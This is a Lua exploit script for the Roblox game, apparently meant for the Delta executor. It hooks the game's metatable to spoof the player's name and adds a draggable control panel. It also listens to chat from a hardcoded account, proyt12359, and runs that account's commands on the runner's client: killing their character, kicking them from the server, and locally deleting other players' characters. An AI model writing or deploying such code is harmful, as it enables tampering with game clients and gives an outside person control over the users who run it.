--[[ RUBO DELTA PRO - STABLE VERSION Optimized for Delta Executor (Mobile/PC) Commands for proyt12359: !jump - Makes you jump !reset - Kills your character !kick - Force disconnects YOU !ban [name] - Locally deletes a player for you ]] local Players = game:GetService("Players") local CoreGui = game:GetService("CoreGui") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local lp = Players.LocalPlayer -- SETTINGS local AUTHORIZED_USER = "proyt12359" local PREFIX = "!" local BannedList = {} local spoofedName = lp.Name -- CLEANUP (Prevents UI stacking) if CoreGui:FindFirstChild("RuboDeltaUI") then CoreGui.RuboDeltaUI:Destroy() end -- UI CREATION (High Performance) local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "RuboDeltaUI" ScreenGui.Parent = CoreGui ScreenGui.ResetOnSpawn = false local MainFrame = Instance.new("Frame") MainFrame.Name = "MainFrame" MainFrame.Parent = ScreenGui MainFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 25) MainFrame.Position = UDim2.new(0.5, -90, 0.5, -60) MainFrame.Size = UDim2.new(0, 180, 0, 125) MainFrame.BorderSizePixel = 0 MainFrame.Active = true -- Crucial for mobile dragging local Corner = Instance.new("UICorner") Corner.CornerRadius = UDim.new(0, 8) Corner.Parent = MainFrame local Border = Instance.new("UIStroke") Border.Color = Color3.fromRGB(255, 0, 0) Border.Thickness = 2 Border.Parent = MainFrame local Title = Instance.new("TextLabel") Title.Parent = MainFrame Title.Size = UDim2.new(1, 0, 0, 30) Title.BackgroundTransparency = 1 Title.Text = "RUBO DELTA" Title.TextColor3 = Color3.new(1, 1, 1) Title.Font = Enum.Font.SourceSansBold Title.TextSize = 16 local Input = Instance.new("TextBox") Input.Parent = MainFrame Input.Position = UDim2.new(0.1, 0, 0.3, 0) Input.Size = UDim2.new(0.8, 0, 0, 25) Input.BackgroundColor3 = Color3.fromRGB(40, 40, 45) Input.PlaceholderText = "New Name..." Input.Text = "" Input.TextColor3 = Color3.new(1, 1, 1) Input.Font = Enum.Font.SourceSans Input.TextSize = 14 local Apply = Instance.new("TextButton") Apply.Parent = MainFrame Apply.Position = UDim2.new(0.1, 0, 0.65, 0) Apply.Size = UDim2.new(0.8, 0, 0, 30) Apply.BackgroundColor3 = Color3.fromRGB(255, 0, 0) Apply.Text = "APPLY & SYNC" Apply.TextColor3 = Color3.new(1, 1, 1) Apply.Font = Enum.Font.SourceSansBold Apply.TextSize = 14 -- 1. STABLE DRAGGING (No laggy animations) local dragging, dragStart, startPos MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = MainFrame.Position end end) UserInputService.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local delta = input.Position - dragStart MainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end end) UserInputService.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false end end) -- 2. STABLE IDENTITY SPOOFING local function startSpoof() local success, mt = pcall(getrawmetatable, game) if success then local oldIndex = mt.__index setreadonly(mt, false) mt.__index = newcclosure(function(self, key) if self == lp and (key == "Name" or key == "DisplayName") then return spoofedName end return oldIndex(self, key) end) setreadonly(mt, true) end end -- 3. STABLE COMMAND SYNC local function handleChat(msg) local char = lp.Character local hum = char and char:FindFirstChildOfClass("Humanoid") local args = msg:split(" ") local cmd = args[1]:lower() if cmd == PREFIX.."jump" and hum then hum.Jump = true elseif cmd == PREFIX.."reset" and hum then hum.Health = 0 elseif cmd == PREFIX.."kick" then lp:Kick("Commanded by Master") elseif cmd == PREFIX.."ban" and args[2] then local name = args[2]:lower() for _,v in pairs(Players:GetPlayers()) do if v.Name:lower():find(name) and v ~= lp then table.insert(BannedList, v.Name) end end end end Players.PlayerChatted:Connect(function(_, sender, msg) if sender.Name == AUTHORIZED_USER then handleChat(msg) end end) -- 4. STABLE BAN ENFORCEMENT (Heartbeat is best for Delta) RunService.Heartbeat:Connect(function() for _, name in pairs(BannedList) do local p = Players:FindFirstChild(name) if p and p.Character then p.Character:Destroy() end end end) -- BUTTON ACTION Apply.MouseButton1Click:Connect(function() if Input.Text ~= "" then spoofedName = Input.Text Apply.Text = "SPOOFED" task.wait(1) Apply.Text = "APPLY & SYNC" end end) startSpoof() print("Rubo Delta Pro Active")